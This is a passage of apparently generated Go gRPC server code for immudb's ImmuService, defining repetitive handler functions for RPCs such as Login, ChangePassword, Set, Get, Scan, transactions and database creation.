&grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/ChangePassword\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).ChangePassword(ctx, req.(*ChangePasswordRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_ChangePermission_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(ChangePermissionRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).ChangePermission(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/ChangePermission\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).ChangePermission(ctx, req.(*ChangePermissionRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_ChangeSQLPrivileges_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(ChangeSQLPrivilegesRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).ChangeSQLPrivileges(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/ChangeSQLPrivileges\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).ChangeSQLPrivileges(ctx, req.(*ChangeSQLPrivilegesRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_SetActiveUser_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(SetActiveUserRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).SetActiveUser(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/SetActiveUser\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).SetActiveUser(ctx, req.(*SetActiveUserRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_UpdateAuthConfig_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(AuthConfig)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).UpdateAuthConfig(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/UpdateAuthConfig\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).UpdateAuthConfig(ctx, req.(*AuthConfig))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_UpdateMTLSConfig_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(MTLSConfig)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).UpdateMTLSConfig(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/UpdateMTLSConfig\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).UpdateMTLSConfig(ctx, req.(*MTLSConfig))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_OpenSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(OpenSessionRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).OpenSession(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/OpenSession\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).OpenSession(ctx, req.(*OpenSessionRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_CloseSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).CloseSession(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/CloseSession\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).CloseSession(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_KeepAlive_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).KeepAlive(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/KeepAlive\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).KeepAlive(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_NewTx_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(NewTxRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).NewTx(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/NewTx\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).NewTx(ctx, req.(*NewTxRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_Commit_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).Commit(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/Commit\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).Commit(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_Rollback_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).Rollback(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/Rollback\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).Rollback(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_TxSQLExec_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(SQLExecRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).TxSQLExec(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/TxSQLExec\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).TxSQLExec(ctx, req.(*SQLExecRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_TxSQLQuery_Handler(srv interface{}, stream grpc.ServerStream) error {\n\tm := new(SQLQueryRequest)\n\tif err := stream.RecvMsg(m); err != nil {\n\t\treturn err\n\t}\n\treturn srv.(ImmuServiceServer).TxSQLQuery(m, &immuServiceTxSQLQueryServer{stream})\n}\n\ntype ImmuService_TxSQLQueryServer interface {\n\tSend(*SQLQueryResult) error\n\tgrpc.ServerStream\n}\n\ntype immuServiceTxSQLQueryServer struct {\n\tgrpc.ServerStream\n}\n\nfunc (x *immuServiceTxSQLQueryServer) Send(m *SQLQueryResult) error {\n\treturn x.ServerStream.SendMsg(m)\n}\n\nfunc _ImmuService_Login_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(LoginRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).Login(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/Login\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).Login(ctx, req.(*LoginRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_Logout_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).Logout(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/Logout\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).Logout(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_Set_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(SetRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).Set(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/Set\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).Set(ctx, req.(*SetRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_VerifiableSet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(VerifiableSetRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).VerifiableSet(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/VerifiableSet\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).VerifiableSet(ctx, req.(*VerifiableSetRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_Get_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(KeyRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).Get(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/Get\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).Get(ctx, req.(*KeyRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_VerifiableGet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(VerifiableGetRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).VerifiableGet(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/VerifiableGet\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).VerifiableGet(ctx, req.(*VerifiableGetRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_Delete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(DeleteKeysRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).Delete(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/Delete\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).Delete(ctx, req.(*DeleteKeysRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_GetAll_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(KeyListRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).GetAll(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/GetAll\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).GetAll(ctx, req.(*KeyListRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_ExecAll_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(ExecAllRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).ExecAll(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/ExecAll\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).ExecAll(ctx, req.(*ExecAllRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_Scan_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(ScanRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).Scan(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/Scan\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).Scan(ctx, req.(*ScanRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_Count_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(KeyPrefix)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).Count(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/Count\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).Count(ctx, req.(*KeyPrefix))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_CountAll_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).CountAll(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/CountAll\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).CountAll(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_TxById_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(TxRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).TxById(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/TxById\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).TxById(ctx, req.(*TxRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_VerifiableTxById_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(VerifiableTxRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).VerifiableTxById(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/VerifiableTxById\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).VerifiableTxById(ctx, req.(*VerifiableTxRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_TxScan_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(TxScanRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).TxScan(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/TxScan\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).TxScan(ctx, req.(*TxScanRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_History_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(HistoryRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).History(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/History\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).History(ctx, req.(*HistoryRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_ServerInfo_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(ServerInfoRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).ServerInfo(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/ServerInfo\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).ServerInfo(ctx, req.(*ServerInfoRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_Health_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).Health(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/Health\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).Health(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_DatabaseHealth_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).DatabaseHealth(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/DatabaseHealth\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).DatabaseHealth(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_CurrentState_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(emptypb.Empty)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).CurrentState(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/CurrentState\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).CurrentState(ctx, req.(*emptypb.Empty))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_SetReference_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(ReferenceRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).SetReference(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/SetReference\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).SetReference(ctx, req.(*ReferenceRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_VerifiableSetReference_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(VerifiableReferenceRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).VerifiableSetReference(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/VerifiableSetReference\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).VerifiableSetReference(ctx, req.(*VerifiableReferenceRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_ZAdd_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(ZAddRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).ZAdd(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/ZAdd\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).ZAdd(ctx, req.(*ZAddRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_VerifiableZAdd_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(VerifiableZAddRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).VerifiableZAdd(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/VerifiableZAdd\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).VerifiableZAdd(ctx, req.(*VerifiableZAddRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_ZScan_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(ZScanRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).ZScan(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/ZScan\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).ZScan(ctx, req.(*ZScanRequest))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_CreateDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(Database)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).CreateDatabase(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/CreateDatabase\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).CreateDatabase(ctx, req.(*Database))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_CreateDatabaseWith_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(DatabaseSettings)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).CreateDatabaseWith(ctx, in)\n\t}\n\tinfo := &grpc.UnaryServerInfo{\n\t\tServer:     srv,\n\t\tFullMethod: \"/immudb.schema.ImmuService/CreateDatabaseWith\",\n\t}\n\thandler := func(ctx context.Context, req interface{}) (interface{}, error) {\n\t\treturn srv.(ImmuServiceServer).CreateDatabaseWith(ctx, req.(*DatabaseSettings))\n\t}\n\treturn interceptor(ctx, in, info, handler)\n}\n\nfunc _ImmuService_CreateDatabaseV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {\n\tin := new(CreateDatabaseRequest)\n\tif err := dec(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif interceptor == nil {\n\t\treturn srv.(ImmuServiceServer).CreateDatabaseV2(ctx, 